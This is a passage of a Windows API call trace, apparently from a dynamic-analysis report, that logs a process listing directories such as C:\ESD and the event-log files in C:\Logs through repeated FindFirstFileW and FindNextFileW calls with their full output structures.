nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0053.432] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260580 [0053.434] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.434] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0053.434] FindClose (in: hFindFile=0x4260580 | out: hFindFile=0x4260580) returned 1 [0053.435] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0053.435] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0053.435] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0053.435] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260200 [0053.439] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.445] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0053.446] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0053.447] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, 